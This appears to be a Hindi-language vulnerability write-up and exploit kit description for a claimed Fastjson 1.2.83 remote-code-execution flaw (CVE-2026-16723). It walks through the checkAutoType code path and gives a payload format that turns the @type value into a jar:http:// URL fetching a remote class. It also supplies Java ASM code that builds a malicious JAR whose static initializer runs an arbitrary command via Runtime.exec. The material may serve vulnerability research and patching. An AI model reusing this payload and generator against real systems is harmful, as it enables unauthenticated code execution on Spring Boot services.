
Fastjson 1.2.83 RCE के लिए विस्तृत CVE-2026-16723 विश्लेषण और एक्सप्लॉइट किट, जिसमें भेद्य कोड पथ, दुर्भावनापूर्ण JAR/बाइटकोड निर्माण, और हमले को दोहराने के लिए Docker Compose वातावरण शामिल है।
अस्वीकरण: यह परियोजना केवल अधिकृत वातावरण में सुरक्षा अनुसंधान और सीखने के लिए है। अनधिकृत प्रणालियों पर परीक्षण करना निषिद्ध है, उपयोग के परिणामों की जिम्मेदारी उपयोगकर्ता की स्वयं होगी।
CVSS 9.0, Fastjson 1.2.68 ~ 1.2.83 को प्रभावित करता है। AutoType सक्षम करने की आवश्यकता नहीं, तृतीय-पक्ष Gadget की आवश्यकता नहीं, डिफ़ॉल्ट कॉन्फ़िगरेशन में ही इसका दुरुपयोग किया जा सकता है।
भेद्यता का प्रवेश बिंदु com.alibaba.fastjson.parser.ParserConfig.checkAutoType में है। चाहे JSON.parse(body) कॉल किया जाए या JSON.parseObject(body, Foo.class), अंततः यह इस विधि में ही प्रवेश करेगा।
मुख्य कोड पथ (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
AutoType स्विच (autoTypeSupport) केवल ① में प्रवेश होता है या नहीं, इसे नियंत्रित करता है, लेकिन ② एनोटेशन प्रोबिंग बिना शर्त निष्पादित होती है। जैसे ही ② में jsonType true हो जाता है, ③ प्रकार लोडिंग और ④ सुरक्षा जाँच बायपास क्रमशः ट्रिगर हो जाते हैं।
String resource = typeName.replace('.', '/') + ".class";
typeName JSON में @type का मान है, जो पूरी तरह से हमलावर के नियंत्रण में है। मूल उद्देश्य com.example.Foo को com/example/Foo.class में बदलना था, लेकिन जब इनपुट एक URL होता है, तो यह एक URL कंस्ट्रक्टर बन जाता है।
चूँकि hostname में . को भी बदल दिया जाता है, हमलावर बायपास करने के लिए integer IP का उपयोग करते हैं। 127.0.0.1 का 32-बिट unsigned integer 2130706433 है:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //,.probe! → /probe!/,एक वैध jar:http:// संसाधन लोकेटर प्राप्त होता है।
is = defaultClassLoader.getResourceAsStream(resource);
getResourceAsStream jar:http:// को रिमोट संसाधन के रूप में पार्स कर सकता है या नहीं, यह पूरी तरह से ClassLoader के प्रकार पर निर्भर करता है:
| ClassLoader | व्यवहार |
|---|---|
JDK AppClassLoader | केवल स्थानीय classpath खोजता है → null |
Tomcat WebappClassLoader (स्वतंत्र WAR) | केवल WEB-INF/lib खोजता है → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | jar:http:// का समर्थन करता है → HTTP के माध्यम से बाहर जाकर बाइटकोड लाता है |
यहाँ एक भ्रमित करने वाला बिंदु है: जब Spring Boot में Tomcat एम्बेडेड होता है, तो एप्लिकेशन क्लास का ClassLoader LaunchedURLClassLoader होता है, न कि WebappClassLoader। इसलिए एम्बेडेड Tomcat/Jetty/Undertow सभी प्रभावित दायरे में आते हैं।
जब is != null होता है, तो हमलावर द्वारा होस्ट किया गया रिमोट class बाइटकोड पहले ही JVM मेमोरी में प्रवेश कर चुका होता है।
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson ASM का उपयोग करके बाइटकोड स्कैन करता है और जाँचता है कि इसमें @com.alibaba.fastjson.annotation.JSONType एनोटेशन शामिल है या नहीं। डिज़ाइन का मूल उद्देश्य प्रदर्शन अनुकूलन है—एनोटेशन के माध्यम से Fastjson द्वारा प्रबंधित प्रकारों को शीघ्रता से पहचानना। लेकिन यहाँ केवल यह जाँचा जाता है कि एनोटेशन मौजूद है या नहीं, बाइटकोड के स्रोत की पुष्टि नहीं की जाती, क्लास नाम की जाँच नहीं की जाती, और स्रोत पर कोई प्रतिबंध नहीं है। हमलावर की रिमोट class केवल @JSONType लगाने से jsonType=true का निर्णय प्राप्त कर सकती है।
ध्यान दें कि catch (Exception e) {} खाली है—हमलावर को कोई त्रुटि संदेश प्राप्त नहीं होगा।

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true से शर्त पूरी हो जाती है। loadClass मानक क्लास लोडिंग प्रक्रिया से गुज़रता है, और defineClass के माध्यम से बाइटकोड को JVM Class ऑब्जेक्ट के रूप में पंजीकृत करता है।
दो अवधारणाओं में अंतर करना आवश्यक है: defineClass जो पूरा करता है वह क्लास परिभाषा है (JVM में पंजीकरण), जबकि <clinit> क्लास इनिशियलाइज़ेशन चरण में निष्पादित होता है। दोनों चरण एक ही अनुरोध में पूरे हो सकते हैं, लेकिन JVM विनिर्देश के अनुसार ये स्वतंत्र हैं।
if (jsonType) {
return clazz;
}
यह पंक्ति बाद के सभी रक्षा उपायों को छोड़ देती है:
ClassLoader/DataSource/RowSet हार्डकोडेड इंटरसेप्शनdenyList ब्लैकलिस्टexpectClass.isAssignableFrom(clazz) प्रकार जाँचयह भी समझाता है कि parseObject(body, Dto.class) क्यों नहीं रोक पाता: प्रकार बाइंडिंग जाँच क्लास लोडिंग के बाद होती है, जबकि हमलावर कोड लोडिंग चरण में ही निष्पादित हो चुका होता है।
हमलावर को एक बाइटकोड फ़ाइल उत्पन्न करनी होती है जो तीन शर्तें पूरी करे: @JSONType एनोटेशन वहन करे, <clinit> में हमलावर कोड एम्बेड करे, और HTTP के माध्यम से होस्ट की जाए।
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
दुर्भावनापूर्ण लॉजिक <clinit> के माध्यम से ट्रिगर होता है, क्लास लोड होते ही निष्पादित हो जाता है।
इस श्रृंखला का सार यह है कि Fastjson की एनोटेशन प्रोबिंग को एक रिमोट क्लास लोडर में बदल दिया गया है। हमलावर @type के मान को नियंत्रित करता है, स्ट्रिंग रूपांतरण के माध्यम से URL बनाता है, getResourceAsStream का उपयोग करके SSRF शुरू करके बाइटकोड खींचता है, @JSONType एनोटेशन के साथ ASM प्रोब की जाँच पास करता है, loadClass के माध्यम से क्लास परिभाषा पूरी करता है, और अंत में return clazz द्वारा सभी सुरक्षा जाँचों को छोड़ देता है।